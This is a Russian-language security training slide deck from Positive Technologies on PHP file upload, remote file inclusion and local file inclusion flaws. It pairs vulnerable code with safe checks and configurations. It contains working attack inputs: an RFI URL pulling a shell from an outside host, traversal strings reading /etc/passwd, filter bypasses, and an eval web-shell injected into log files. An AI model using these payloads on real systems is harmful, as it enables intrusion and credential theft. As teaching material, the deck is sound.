Vipolnenie komand na servere

33
ВЫПОЛНЕНИЕ КОМАНД НА СЕРВЕРЕ ВВЕДЕНИЕ Щербель Сергей Positive Technologies

description

Семинар пройдет в формате мастер-класса. Слушатели получат как теоритические, так и практические знания.В рамках мастер-класса будут рассмотрены уязвимости :• Unrestricted File Upload• Remote File Inclusion• Local File InclusionВо время мастер-класса будут рассмотрены теоретические аспекты, вышеуказанных уязвимостей, приведены примеры уязвимого исходного кода.Слушателям будут продемонстрированы примеры эксплуатации уязвимостей, техника обхода различных фильтраций.Кроме того, будут приведены примеры безопасного написания сценариев.Так же у каждого будет возможность применить полученные знания на практике.

Transcript of Vipolnenie komand na servere

Page 1: Vipolnenie komand na servere

ВЫПОЛНЕНИЕ КОМАНД НА СЕРВЕРЕВВЕДЕНИЕ

Щербель Сергей

Positive Technologies

Page 2: Vipolnenie komand na servere

Выполнение команд на сервере

Выполнение произвольного кода – одна из наиболее опасных уязвимостей, встречаемая в веб-приложениях.

Способы выполнения:

Загрузка сценария на сервер

Remote File Inclusion (RFI)

Local File Inclusion (LFI)

Внедрение произвольного кода в функции eval(), assert(), preg_replace() с модификатором /e

Внедрение произвольных команд в функции system(), exec() и т.д.

Сериализация: serialize/unserialize

И т.д.

Page 3: Vipolnenie komand na servere

Инструментарий

Наиболее удобный инструмент: Mozilla Firefox + плагины.В Mozilla Firefox необходимо вносить некоторые изменения, чтобы кодирование одинарной кавычки не производилось.

Page 4: Vipolnenie komand na servere

Инструментарий

Рекомендуемые плагины:

Tamper Data – позволяет перехватывать отправляемый браузером HTTP-запрос и вносить в него изменения

Live HTTP headers – обеспечивает удобный просмотр и отправку HTTP-запросов

HackBar – позволяет отправлять POST параметры, кодировать символы, содержит базовые вектора атаки

Cookies Manager+ – удобный редактор COOKIE-параметров

Modify Headers – позволяет добавлять или изменять HTTP заголовки на лету

Page 5: Vipolnenie komand na servere

Инструментарий

Веб-шелл – один из самых удобных и продуманных шеллов это WSO.

Page 6: Vipolnenie komand na servere

Unrestricted File Upload

Page 7: Vipolnenie komand na servere

Загрузка сценария на сервер

Загрузка произвольных файлов – уязвимость, позволяющая злоумышленнику загружать на сервер файлы с произвольным контентом и/или файлы произвольного расширения.

Как правило, уязвимость возникает из-за некорректной проверки расширения загружаемого файла.

Некорректные способы проверки загружаемых файлов:Проверка MIME-типа загружаемого файла вместо проверки расширения файла

Проверка расширения файла методом черного списка

Другие ошибки…

Кроме того успешной эксплуатации уязвимости способствует небезопасно сконфигурированный веб-сервер.

Page 8: Vipolnenie komand na servere

Проверка MIME-типа загружаемого файла

Пример проверки:

<?php

$imageTypes = array("image/gif", "image/jpeg", "image/png");

if(isset($_FILES["image"])) {

if(!in_array($_FILES["image"]["type"], $imageTypes)) {

die("Hacking Attempt!");

}

copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");

}

?>

Проблема в том, что тип загружаемого файла легко подделать – т.к. он

указывается браузером в HTTP-запросе. А что указывается браузером, то без

труда может быть изменено пользователем.

Page 9: Vipolnenie komand na servere

Подделка MIME-типа загружаемого файла

Для подделки типа файла удобно пользоваться плагином Tamper Data:

Page 10: Vipolnenie komand na servere

Подделка MIME-типа загружаемого файла

Для подделки типа файла удобно пользоваться плагином Tamper Data:

Page 11: Vipolnenie komand na servere

Проверка расширения файла методом черного списка

Еще один небезопасный способ проверки – проверка методом черного списка:

Суть проверки – не допускать до загрузки файлы, расширение которых попало в черный список.

Page 12: Vipolnenie komand na servere

Проверка расширения файла методом черного списка

Пример проверки:

<?php

if(isset($_FILES["image"])) {

if(preg_match('#\.((php)|(php3)|(php4)|(php5))$#i', $_FILES["image"]["name"])

) {

die("Hacking Attempt!");

}

copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");

}

?>

Проверка черным ящиком не обеспечивает должный уровень защиты –

всегда найдется какое-то расширение, которое не вошло в список.

Page 13: Vipolnenie komand na servere

Различные ошибки

Некорректное использование функции stripos():

Функция stripos() - возвращает позицию первого вхождения подстроки без учета регистра

Функция strripos() - возвращает позицию последнего вхождения подстроки без учета регистра

<?php

if(isset($_FILES["image"])) {

if(stripos($_FILES["image"]["name"], ".php")) {

die("Hacking Attempt!");

}

copy($_FILES["image"]["tmp_name"], «images/{$_FILES["image"]["name"]}");

}

?>

При загрузке файла с именем .php (т.е. все имя файла – это его расширение) функция strpos() вернет значение 0. Соответственно условие не выполнится и проверка будет пройдена.

Аналогичный результат будет и при использовании функции strripos().

Page 14: Vipolnenie komand na servere

Различные ошибки

Ошибки в регулярных выражениях:

<?php

if(isset($_FILES["image"])) {

if(preg_match('#\.jpg#i', $_FILES["image"]["name"])) {

copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");

}

}

?>

В приведенном примере имя загружаемого файла проверяется на наличие строки .jpg, но регулярное выражение составлено не правильно – пропущен управляющий символ $, указывающий на конец строки.

В результате сценарий с именем shell.jpg.php будет успешно загружен.

Page 15: Vipolnenie komand na servere

Уязвимая/безопасная конфигурация

Возможность выполнения PHP-сценариев в каталогах, доступных для записи – следствие уязвимой конфигурации. Такая возможность позволяет злоумышленнику в результате эксплуатации ряда уязвимостей загрузить веб-шелл.

Возможность выполнения PHP-сценариев отключается путем конфигурирования веб-сервера и PHP. Пример конфигурации:

<Directory "/var/www/uploads">

php_admin_value engine off

</Directory>

В результате сценарии, находящиеся в каталоге /var/www/uploads, выполняться не будут.

Page 16: Vipolnenie komand na servere

Безопасная проверка

Безопасная проверка – проверка методом белого списка.

<?php

if(isset($_FILES["image"])) {

if(preg_match('#^[a-z0-9-_]+\.((jpg)|(png)|(bmp))$#i', $_FILES["image"]["name"])

) {

move_uploaded_file($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");

}

}

?>

В приведенном коде разрешена загрузка только тех файлов, расширение которых .jpg, .png и .bmp.

Page 17: Vipolnenie komand na servere

Remote File Inclusion

Page 18: Vipolnenie komand na servere

Remote File Inclusion

Remote File Inclusion – уязвимость позволяющая подключать удаленные файлы и тем самым выполнять произвольный код.

Пример уязвимого кода:

<?php

include("{$_GET["page"]}.inc");

?>

Эксплуатация:

index.php?page=http://hack.ru/shell.txt?

Аргумент функции include() примет вид:

http://hack.ru/shell.txt?.inc

Видно, что .inc будет передаваться как GET-параметр и не помешает удаленному подключению файла.

Page 19: Vipolnenie komand na servere

Remote File Inclusion

Для эксплуатации данной уязвимости необходимо чтобы в настройках PHP было разрешено удаленное подключение сценариев:

allow_url_include = On

Нередко встречается способ фильтрации, заключающийся в проверке имени подключаемого файла на наличие строки http://.

Разумеется такой способ не обеспечивает должный уровень защиты, т.к. остается возможность использовать другие протоколы: ftp://, https://, ftps://, tftp://.

Page 20: Vipolnenie komand na servere

Local File Inclusion

Page 21: Vipolnenie komand na servere

Local File Inclusion

Local File Inclusion – уязвимость позволяющая подключать файлы, расположенные на уязвимом сервере и тем самым выполнять произвольный код.

Как правило, уязвимость возникает из-за некорректной проверки загружаемого файла

Эксплуатация LFI сводится к трем задачам:Отбрасывание постфикса

Выход за каталог

Поиск файлов, в которые можно внедрить PHP-код

Как и в случае с загрузкой произвольных файлов – уязвимая конфигурация упрощает эксплуатацию уязвимости.

Page 22: Vipolnenie komand na servere

Как отбросить постфикс?

include("pages/{$_GET["page"]}.txt");

Используя Null Byte:

http://site.ru/index.php?page=../../../../../../etc/passwd%00

В результате постфикс .txt будет отброшен и можно будет подключить файл с произвольным расширением.

Но если в настройках PHP включена опция magic_quotes_gpc, то Null Byte будет экранироваться, и отбросить постфикс уже не получится.

Page 23: Vipolnenie komand na servere

Как отбросить постфикс?

Используя усечение пути, подключаемого файла:

Более сложный способ, но нету зависимости от опции magic_quotes_gpc.

Суть сводится к тому, что интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.

Существуют следующие ограничения:

Версия PHP < 5.3

Код должен выглядеть следующим образом:

include("pages/{$_GET["page"]} .txt");

include("{$_GET["page"]}.txt");

Но не так:

include("./{$_GET["page"]}.txt");

include("../{$_GET["page"]}.txt");

include("/var/www/{$_GET["page"]}.txt");

Page 24: Vipolnenie komand na servere

Как отбросить постфикс?

Используя усечение пути, подключаемого файла:

Пример эксплуатации:

http://site.ru/index.php?page=images/../../../../../etc///////...много...//////passwd

В результате будет подключен файл /etc/passwd

При этом следует учесть еще одну особенность, а именно длину строки:

/var/www/+images/../../../../../etc///////...много...//////passwd = 4095

Т.е. в идеале нужно знать полный путь до веб-каталога, в котором расположен уязвимый сценарий. Узнать его можно из сообщений об ошибке.

Но на практике можно просто подобрать необходимое число слешей.

Возможны и другие зависимости: операционная система, файловая система и т.д.

Page 25: Vipolnenie komand na servere

Как выйти за каталог?

Различные фильтрации могут препятствовать выходу за каталог.

Наиболее частые случаи:

Фильтрация ../

<?php include(str_replace("../", "", $_GET["page"]).".inc"); ?>

../../../etc/passwd --> фильтрация --> etc/passwd --> fail

Но такой фильтрации не достаточно – она не рекурсивная:

..././..././..././etc/passwd --> фильтрация --> ../../../etc/passwd --> profit

Page 26: Vipolnenie komand na servere

Как выйти за каталог?

Различные фильтрации могут препятствовать выходу за каталог.

Наиболее частые случаи:

Фильтрация с помощью регулярного выражения

$page = preg_replace("#^.*/#", "", $_GET["page"]);

include("{$page}.inc");

../../../etc/passwd --> фильтрация --> passwd --> fail

В регулярном выражение используется метасимвол . (точка), заменяющий любые символы.

Любые, за исключением переноса строки.

%0a/../../etc/passwd --> фильтрация --> %0a/../../etc/passwd --> profit

Для корректной работы регулярного выражения необходимо использовать модификатор s: "#^.+/#s"

Page 27: Vipolnenie komand na servere

Какие файлы подключать?

Файлы логов

/var/log/apache2/access.log

/var/log/apache2/error.log

...

Чтобы записать код в файл логов, достаточно обратиться по адресу:

http://site.ru/<?php @eval($_GET[ev]); ?>

Используя при этом URL кодирование:

http://site.ru/%3C%3Fphp%20@eval%28%24_GET%5Bev%5D%29%3B%20%3F%3E

Page 28: Vipolnenie komand na servere

Какие файлы подключать?

Файлы сессий

/tmp/sess_70432162ce1fefbe91687474f0abcca3

При вызове функции session_start() на сервере создается файл, в который помещаются данные, хранящиеся в массиве _SESSION.

Как правило, среди этих данных: логин, имя пользователя, email адрес, используемый язык и т.д.

Нужно записать PHP-код в файл сессии, для этого следует заменить данные (логин, имя пользователя и т.д.) написав вместо них внедряемый код, а затем подключить файл сессии.

Page 29: Vipolnenie komand na servere

Какие файлы подключать?

Загружаемый контент

«Картинки» с расширением .jpg сами по себе не представляют ценности, но используя уязвимость LFI, их можно подключать, и тем самым выполнять произвольный код.

LFI

Page 30: Vipolnenie komand na servere

Какие файлы подключать?

Сценарии системы администрирования

Достаточно распространенный случай, когда доступ к системе администрирования ограничен средствами веб-сервера (например, по IP адресу или с помощью basic-аутентификации).

Пример:

На сайте site.ru доступ к системе администрирования /admin/ ограничен с помощью basic-аутентификации. Данные используемые для аутентификации находятся в файлах .htaccess и .htpasswd.

На первый взгляд подключить файлы .htaccess и .htpasswd, и в результате узнать логин и хеш пароля, вполне разумное действие, но пароль к хешу еще нужно будет подобрать! А это как правило ресурсоемкая задача!

Можно сделать проще - подключить сами сценарии системы администрирования и тем самым обойти механизмы аутентификации и авторизации.

http://site.ru/index.php?page=../admin/index.php = profit!

Page 31: Vipolnenie komand na servere

Уязвимая/безопасная конфигурация

Возможность обращаться (просматривать, удалять, изменять и т.д.) к файлам и каталогам, находящимся за пределами каталога веб-приложения – следствие уязвимой конфигурации.

Каждое самостоятельное веб-приложение необходимо изолировать от других веб-приложений, находящихся на том же сайте.

Это можно сделать, задавая значение опции PHP open_basedir для каждого отдельного веб-приложения:

http://site.ru/forum/ - например, форум – самостоятельное веб-приложение

<Directory "/var/www/forum">

php_admin_value open_basedir "/var/www/forum/"

</Directory>

Такая конфигурация значительно усложнит эксплуатацию ряда уязвимостей (Local File Inclusion, чтение произвольных файлов и т.д.)

Page 32: Vipolnenie komand na servere

Безопасная проверка

Безопасная проверка – проверка имени файла на наличие в нем служебных символов

if(preg_match('#[^a-z0-9-_]#i', $page)) {

die("Hacking Attempt!");

}

include("{$page}.inc");

В данном примере при попытке указать в имени файла символы отличные от A-Z, a-z, 0-9 и символов «-» и «_» выполнение PHP-сценария будет прервано.

Page 33: Vipolnenie komand na servere

Спасибо за внимание!

Вопросы?